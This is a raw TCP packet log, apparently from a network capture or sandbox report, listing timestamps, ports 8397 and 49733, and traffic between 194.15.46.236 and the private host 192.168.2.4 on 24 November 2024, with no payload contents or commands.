Nov 24, 2024 12:10:09.407535076 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.407651901 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.407700062 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.408871889 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.408948898 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.408989906 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.410149097 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.410269976 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.410320044 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.411335945 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.411442995 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.411482096 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.412770987 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.412791014 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.412833929 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.413805008 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.413899899 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.413949013 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.415097952 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.415169954 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.415235996 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.416292906 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.416404963 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.416450024 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.417552948 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.417676926 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.417726994 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.418823957 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.418909073 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.418953896 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.420061111 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.420166016 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.420207977 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.421317101 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.421415091 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.421469927 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.422621965 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.422723055 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.422768116 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.423808098 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.423918009 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.423959970 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.425084114 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.425159931 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.425209999 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.426340103 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.426456928 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.426506042 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.427594900 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.427699089 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.427742958 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.428828955 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.428941965 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.428998947 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.430097103 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.430224895 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.430272102 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.431353092 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.431468964 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.431526899 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.432720900 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.432883024 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.432934046 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.433938980 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.483906031 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.580946922 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.581103086 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.581190109 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.581274986 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.581605911 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.581618071 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.581650019 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.582648039 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.582808971 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.582813025 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.583329916 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.583379984 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.583503008 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.584677935 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.584731102 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.584917068 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.585962057 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.585973024 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.586010933 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.587131023 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.587178946 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.587358952 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.588402987 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.588484049 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.588651896 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.589705944 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.589751005 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.589853048 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.590823889 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.590873957 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.590965986 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.592031002 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.592041969 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.592106104 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.593121052 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.593132973 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.593179941 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.594253063 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.594300985 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.594404936 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.595892906 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.595942020 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.596072912 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.597276926 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.597326994 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.597438097 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.598344088 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.598387003 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.598531008 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.599704027 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.599755049 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.599858046 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.600898027 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.600944996 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.601078033 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.602113008 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.602185965 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.602284908 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.603506088 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.603552103 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.603678942 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.604691029 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.604737043 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.604870081 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.606028080 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.606038094 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.606086016 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.607254028 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.607265949 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.607295036 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.608776093 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.608819008 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.609133959 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.610182047 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.610193014 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.610224009 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.611433029 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.611481905 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.611634016 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.612173080 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.612227917 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.612411976 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.613514900 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.613564014 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.613657951 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.613799095 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.613811016 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.613842010 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.614953995 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.615006924 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.615053892 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.616197109 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.616250038 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.616259098 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.617443085 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.617490053 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.617547035 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.618726969 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.618777037 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.619013071 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.620039940 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.620073080 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.620096922 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.621210098 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.621263027 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.621412992 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.622426987 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.622488976 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.622530937 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.623756886 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.623789072 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.623810053 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.624938011 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.624993086 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.625042915 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.626290083 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.626348972 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.626420975 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.627473116 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.627532959 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.627566099 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.628701925 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.628758907 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.628758907 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.629957914 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.630014896 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.630063057 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.631198883 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.631299973 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.631318092 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.632457972 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.632534981 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.632580996 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.633716106 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.633774042 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.633831024 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.634985924 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.635042906 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.635077953 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.636259079 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.636318922 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.636337042 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.637469053 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.637525082 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.637568951 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.638880014 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.638931036 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.638976097 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.639993906 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.640043020 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.640109062 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.641283989 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.641331911 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.641340017 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.642488003 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.642569065 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.642585039 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.643748045 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.643829107 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.643851995 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.687153101 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.789855957 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.789896965 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.789966106 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.790424109 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.790528059 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.790582895 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.791692972 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.791872978 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.791939020 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.792903900 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.793004990 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.793071032 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.794150114 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.794308901 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.794361115 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.795727968 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.796072006 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.796120882 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.797372103 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.797458887 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.797513008 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.798341036 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.798455000 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.798502922 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.799570084 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.799645901 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.799698114 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.800559044 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.800682068 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.800734043 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.801682949 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.801805973 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.801860094 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.802936077 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.803138971 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.803210020 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.804214954 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.804352045 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.804402113 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.805465937 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.805573940 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.805627108 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.806854010 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.806983948 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.807034016 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.808105946 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.808233976 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.808286905 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.809197903 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.809318066 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.809375048 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.810484886 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.810590982 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.810642004 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.811778069 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.811847925 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.811894894 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.812983036 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.813105106 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.813287020 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.814232111 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.814341068 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.814421892 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.815486908 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.815622091 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.815700054 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.816747904 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.816869020 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.816921949 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.817967892 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.818075895 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.818125010 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.819242001 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.819350958 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.819401026 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.820481062 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.820600033 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.820650101 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.821747065 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.821844101 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.821896076 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.822990894 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.823152065 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.823204994 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.824253082 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.824378967 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.824456930 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.825496912 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.825607061 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.825654030 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.826759100 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.826874018 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.826921940 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.828027964 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.828129053 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.828177929 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.829319000 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.829384089 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.829435110 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.830518961 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.830648899 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.830727100 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.831788063 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.831899881 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.831953049 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:09.833014011 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:09.833141088 CET	8397	49733	194.15.46.236	192.168.2.4
